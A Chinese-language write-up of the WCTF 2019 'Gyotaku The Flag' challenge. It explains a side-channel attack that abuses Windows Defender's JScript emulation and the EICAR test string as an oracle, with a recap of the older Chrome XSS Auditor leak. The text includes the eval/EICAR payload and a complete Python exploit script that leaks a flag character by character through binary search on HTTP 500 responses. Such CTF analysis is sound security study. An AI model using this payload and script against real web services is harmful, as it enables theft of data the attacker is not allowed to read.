利用Windows Defender侧信道攻击[WCTF Gyotaku The Flag]

前言

在WCTF 2019上,TokyoWesterns设计了一道题目,在这道题目中,需要利用Windows Defender完成侧信道攻击,本篇主要是对该利用方式进行分析。

该题目的赛后分享文档见链接:https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf

Chrome Xss Auditor

该题目与35C3 CTF上的FileManager的利用思路比较类似,都是通过对某种防御机制进行侧信道攻击,从而获取我们原本无权获取的内容。所以先来回顾下这个题目的攻击方法。

在Chrome Xss Audotor中,当检测到输入与输出到脚本内容重复时,会将页面重定向至异常页面chrome-error://chromewebdata/

以一个例子进行说明:

1
2
3
4
5
6
7
8
<?php
$con = @$_GET["con"];
if($con==='con'){
echo "<script>var success='success';</script>";
}else{
echo "<script>var fail='fail';</script>";
}
?>

若GET传输的参数为con=con&<script>var success='success';</script>,PHP的if流程会跳转至第一个分支中,页面会输出:

1
<script>var success='success';</script>

这一段内容与我们GET传输的内容重复了,此时会触发XSS Auditor,进而跳转至异常页面。如果GET传输的内容是con=cxxx&<script>var success='success';</script>,则进入第二个分支,页面输出的内容为:

1
<script>var fail='fail';</script>

此时页面输出与URL中内容不重复,不会触发XSS Auditor。以上就是触发XSS Auditor的方法。

那么如何利用它呢?

由于这个题目中存在通过GET传入的字符串进行搜索的功能,这就和上面例子很相似了,传入的参数会影响页面输出的脚本,我们只需要不断地修改搜索的字符串,便能通过XSS Auditor的状态来判断页面是否真的存在这串文本。

Windows Defender

对Windows Defender的侧信道利用也是类似的思想。

触发Windows Defender

首先需要明白的是,Windows Defender的触发机制是怎样的。其流程如下:

  1. 检查文件内容中是否存在恶意数据
  2. 如果存在恶意数据,拒绝用户访问
  3. 将恶意数据部分替换为空字节
  4. (删除文件)

首先需要找到怎样的恶意数据能够触发Windows Defender,这里EICAR测试文件便可以做到。比如这一段:

1
X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H*

mpengine.dll是Windows Defender的核心DLL,其中包含了JScript engine,在JScript engine中继承了一些基础用法,比如字符串索引操作、数学操作这些,并且支持eval函数,但是eval的参数会进行检测,那么此时我们传入下列js,便会触发Windows Defender:

1
eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H*')

此时我们可以构思出攻击方式,将eval中的特征payload分割成两段,比如:

1
2
3
X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H  

*

接下来要思考的就是如何带入这个*了,由于题目中我们的目标是要获取到/flag下的flag字符串,因此我们可以将flag字符串和*结合在一起。这里可以考虑用数组的形式,数组的形式为{c:'*'}[c],同时我们要将其改写为与Flag中单个字符相等时返回 *,改写的版本为:

1
{c:'*'}[Math.min(c,n)]

n为获取的Flag中的某一个字符经过charCodeAt处理的返回值,而c为一个会不断变化的值。charCodeAt的返回值范围在0-65535,因此这里我们可以用二分的方法来表示c:

1
2
3
4
5
6
7
8
l = 0;
h = 0x100;
while h - l > 1:
m = ( h + l ) // 2;
if(触发):
l = m
else:
h = m

接下来需要思考的就是触发条件是什么了。由于在Windows Defener识别到恶意数据时,会返回500禁止访问,我们可以将500的状态作为if的判断条件。

最终的exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

URL = "http://192.168.122.78" # changeme

def randstr(n=8):
import random
import string
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join([random.choice(chars) for _ in range(n)])

def trigger(c, idx, sess):
import string
prefix = randstr()
p = prefix + '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
p = string.Template(p).substitute({'idx': idx, 'c': c})
req = sess.post(URL + '/gyotaku', data={'url': 'http://127.0.0.1/flag?a=' + p})
return req.json()

def leak(idx, sess):
l, h = 0, 0x100
while h - l > 1:
m = (h + l) // 2
gid = trigger(m, idx, sess)
if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
l = m
else:
h = m
return chr(l)

sess = requests.session()
sess.post(URL + '/login', data={'username': '</body>'+randstr(), 'password': randstr()})

data = ''
for i in range(30):
data += leak(i, sess)
print(data)